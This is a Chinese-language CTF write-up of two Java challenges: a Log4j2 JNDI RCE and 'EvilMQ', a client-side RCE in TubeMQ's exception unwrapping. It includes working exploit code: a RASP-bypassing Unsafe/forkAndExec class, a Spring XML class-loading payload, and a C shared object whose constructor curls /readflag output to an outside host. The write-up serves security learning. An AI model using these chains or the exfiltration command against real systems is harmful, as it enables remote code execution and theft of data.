logging
Hint 1: 可以换个角度 尝试如何让 Spring 控制台报错? Hint 2: 确实是 log4j 2 rce (CVE-2021-44228) Hint 3: fuzz (尝试将 payload 放入某个 HTTP Header)
反编译jar包啥都没有,有log4j依赖,结合提示就是让报错,然后存储在日志中
首先测试发现是可以通的直接拿工具了,JNDI-Injection-Exploit
EvilMQ
Hint 1: 请关注题目名称 “EvilMQ” 并结合最近的已知公开漏洞
Hint 2: 与 ActiveMQ (CVE-2023-46604) 类似 但是 Client 端 RCE 需要构造 Evil Server
复现ActiveMQ在上篇文章已经复现了这里直接分析
(ActiveMQ是客户端远程代码执行服务器端,感觉这个EvilMQ是,服务器端远程代码执行客户端,类似MySQL漏洞)
所以需要自己手动构建服务器端???
这里根据Hint 2,大概可以知道和Throwsable 并且漏洞点是newInstance这种,就需要看依赖找了
<dependency>
<groupId>org.apache.inlong</groupId>
<artifactId>tubemq-client</artifactId>
<version>1.9.0</version>
</dependency>
https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/utils/MixUtils.java#L70
github和题目的jar包有些区别,下面都是基于题目jar包的:
public static Throwable unwrapException(String exceptionMsg) {
Class clazz;
Constructor<?> ctor;
try {
//以#进行分割
String[] strExceptionMsgSet = exceptionMsg.split("#");
//会把第一个值不能为空、要有这个类、并且有一个字符串构造方法
if (strExceptionMsgSet.length > 0 && !TStringUtils.isBlank(strExceptionMsgSet[0]) && (clazz = Class.forName(strExceptionMsgSet[0])) != null && (ctor = clazz.getConstructor(String.class)) != null) {
if (strExceptionMsgSet.length == 1) {
return (Throwable) ctor.newInstance(new Object[0]);//这里单纯实例化但是参数不可控没用
}
if (strExceptionMsgSet[0].equalsIgnoreCase("java.lang.NullPointerException")) {
return new NullPointerException("remote return null");
}
if (strExceptionMsgSet[1] == null || TStringUtils.isBlank(strExceptionMsgSet[1]) || strExceptionMsgSet[1].equalsIgnoreCase(BeanDefinitionParserDelegate.NULL_ELEMENT)) {
return (Throwable) ctor.newInstance("Exception with null StackTrace content");
}
return (Throwable) ctor.newInstance(strExceptionMsgSet[1]);
//目光看到这里,这个strExceptionMsgSet[1]是我们可控的,要满足很简单,直接不满足以上即可
//ClassPathXmlApplicationContext#http://127.0.0.1:8000/poc.xml 就行
}
} catch (Throwable th) {
}
return new RemoteException(exceptionMsg);
}
接下来就是找哪里调用了unwrapException
方法
这里完全没头绪,在这里我发现和以前做的题比完全不一样,以前题就是找漏洞点然后找出口,这里出口大概就是一些readObject或者一些springboot的传参,而CVE的话感觉是项目自己的流程。
https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/netty/NettyClient.java#L349
public void channelRead(ChannelHandlerContext ctx, Object e) {
ResponseWrapper responseWrapper;
if (e instanceof RpcDataPack) {
RpcDataPack dataPack = (RpcDataPack) e;
Callback callback = (Callback) NettyClient.this.requests.remove(Integer.valueOf(dataPack.getSerialNo()));
if (callback != null) {
Timeout timeout = (Timeout) NettyClient.this.timeouts.remove(Integer.valueOf(dataPack.getSerialNo()));
if (timeout != null) {
timeout.cancel();
}
try {
ByteBufferInputStream in = new ByteBufferInputStream(dataPack.getDataLst());
RPCProtos.RpcConnHeader connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(in);
if (connHeader == null) {
throw new EOFException();
}
RPCProtos.ResponseHeader rpcResponse = RPCProtos.ResponseHeader.parseDelimitedFrom(in);
if (rpcResponse == null) {
throw new EOFException();
}
if (rpcResponse.getStatus() == RPCProtos.ResponseHeader.Status.SUCCESS) {
RPCProtos.RspResponseBody pbRpcResponse = RPCProtos.RspResponseBody.parseDelimitedFrom(in);
if (pbRpcResponse == null) {
throw new NetworkException("Not found PBRpcResponse data!");
}
responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), pbRpcResponse.getMethod(), PbEnDecoder.pbDecode(false, pbRpcResponse.getMethod(), pbRpcResponse.getData().toByteArray()));
} else {
RPCProtos.RspExceptionBody exceptionResponse = RPCProtos.RspExceptionBody.parseDelimitedFrom(in);
if (exceptionResponse == null) {
throw new NetworkException("Not found RpcException data!");
}
responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), MixUtils.replaceClassNamePrefix(exceptionResponse.getExceptionName(), false, rpcResponse.getProtocolVer()), exceptionResponse.getStackTrace());
}
/*
Throwable remote =
MixUtils.unwrapException(new StringBuilder(512)
.append(responseWrapper.getErrMsg()).append("#")
.append(responseWrapper.getStackTrace()).toString());
//这是github中原来的代码
*/
if (!responseWrapper.isSuccess() && IOException.class.isAssignableFrom(MixUtils.unwrapException(
new StringBuilder(512).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString()).getClass())) {
NettyClient.this.close();
}
callback.handleResult(responseWrapper);
} catch (Throwable ee) {
ResponseWrapper responseWrapper2 = new ResponseWrapper(-2, dataPack.getSerialNo(), -2, -2, -2, ee);
if (ee instanceof EOFException) {
NettyClient.this.close();
}
callback.handleResult(responseWrapper2);
}
} else if (NettyClient.logger.isDebugEnabled()) {
NettyClient.logger.debug("Missing previous call info, maybe it has been timeout.");
}
}
}
MixUtils.unwrapException( new StringBuilder(512).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString())
//只需要控制responseWrapper.getErrMsg() 为恶意类的名字需要带上包名(forName)
//responseWrapper.getStackTrace() 这里为恶意参数
再往上找是真的不会了,这里先把所有已有的条件分析一下
目的:构造恶意服务端,让客户端通过某种方式连接服务端
翻过来看看题目,是有controller的
public class IndexController {
@RequestMapping({"/produce"})
public String produce(@RequestParam String masterHostAndPort, @RequestParam String topic, @RequestParam String data) {//这里需要传三个参数,根据变量名字,感觉下面是进行一个连接服务器端的操作
try {
return this.producerService.produce(masterHostAndPort, topic, data);
} catch (Throwable e) {
return e.getMessage();
}
}
@RequestMapping({"/consume"})
public String consume(@RequestParam String masterHostAndPort, @RequestParam String topic, @RequestParam String group) {
try {
return (String) this.consumerService.consume(masterHostAndPort, topic, group).stream().map(message -> {
return String.format("topic: %s, data: %s", message.getTopic(), new String(message.getData()));
}).collect(Collectors.joining(StringUtils.LF));
} catch (Throwable e) {
return e.getMessage();
}
}
}
但是拉入这个包的时候maven一直就加载不成功,并且太菜了不太能看懂如何构建服务器。。。
先看下如何绕过 RASP
参考文章:hook native方法 | RASP安全技术 (jrasp.com) [本地命令执行 · 攻击Java Web应用-Java Web安全] (javasec.org)
开启native函数的prefix功能
就会从标准解析变成动态解析
如果没有找到,那么虚拟机将会依次进行下面的动作:
1)method(foo) -> nativeImplementation(foo)
2)method(wrapped_foo) -> nativeImplementation(foo)
3)method(wrapped_foo) -> nativeImplementation(wrapped_foo)
4)method(wrapped_foo) -> nativeImplementation(foo)
代码中过滤的是 java.lang.UNIXProcess
这个类
并且代码中开启了这一特征,在transformer中加入了RASP_这个前缀,所以我们反射调用RASP__UNIXProcess即可
这里用unsafe进行实例化的原因是,如果直接进行实例化是会被检测到的
使用Unsafe类的allocateInstance方法在不调用UNIXProcess/ProcessImpl构造方法情况下生成实例
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class linux_fork_and_exec{
public linux_fork_and_exec(){
try {
String[] cmds = new String[]{"bash", "-c", "gnome-calculator"};
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] cmdArgs = new byte[cmds.length - 1][];
int size = cmdArgs.length;// For added NUL bytes
for (int i = 0; i < cmdArgs.length; i++) {
cmdArgs[i] = cmds[i + 1].getBytes();
size += cmdArgs[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : cmdArgs) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
Method forkMethod = processClass.getDeclaredMethod("RASP_forkAndExec",
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
);
forkMethod.setAccessible(true);// 设置访问权限
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, toCString(cmds[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
}catch (Exception e){
System.out.println(e);
}
}
static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>
</beans>
第二种, RASP 并没有拦截 System.load
方法, 所以可以直接写一个 so 然后上传加载即可
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("curl host.docker.internal:4444 -d \"`/readflag`\"");
}
编译
gcc -shared -fPIC exp.c -o exp.so
Java 代码
package com.example;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Evil {
public Evil() throws Exception {
String data = "PAYLOAD";
String filename = "/tmp/evil.so";
Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
System.load(filename);
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。